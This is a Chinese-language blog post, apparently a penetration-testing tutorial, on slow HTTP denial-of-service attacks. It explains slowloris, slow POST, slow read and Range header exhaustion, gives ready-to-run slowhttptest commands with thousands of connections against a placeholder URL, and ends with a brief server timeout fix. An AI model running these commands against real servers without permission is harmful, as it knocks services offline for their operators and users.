zoukankan      html  css  js  c++  java
  • 慢速dos攻击

    工具:slowhttptest

    攻击模式:

    slowloris:完整的http请求是以 n结尾,攻击时仅发送 ,少发送一个 ,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。

    slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待。

    slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但把TCP滑动窗口设置的很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:1.tcp窗口设置要比服务器的socket缓存小,这样发送才慢。    2.请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存,同时攻击端一直说自己收不到。


    slowhttptest安装

    kali直接安装 apt install slowhttptest

    实例:

    slowloris模式:

    slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u "url" -x 24 -p 3

    slow post模式:

    slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u "url" -x 10 -p 3

    slow read模式:

    slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u "url" -p 3

    Range Header test:在http请求的RANGE HEADER中包含大量字段,使得服务器在服务端将一个很小的文件分割成大量的更小的片段再压缩。分段压缩过程消耗大量的服务器资源,导致DOS。
    slowhttptest -R -u "url" -t HEAD -c 1000 -a 10 -b 3000 -r 500

    测试的时候,添加代理

    slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u url -p 5 -l 350 -e lhost:lport

    然后查看浏览器网络连接时间对比
    image
    image
    明显连接超时,异常访问时间。

    修复建议:

    对web服务器的HTTP头部传输的最大许可时间进行限制,修改成最大许可时间为20秒
    canvas








  • 相关阅读:
    TIME_WAIT和CLOSE_WAIT的区别
    shell备份脚本
    No package 'eventlog' found
    Linux下升级安装Python-3.6.2版本
    mysql的binlog安全删除的一种方法
    windows 清理 cbs.log 文件
    Linux crontab 查看所有用户的crontab任务
    java抽象类与接口回顾
    java类的回顾
    windows的MySQL安装
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12868918.html
Copyright © 2011-2022 走看看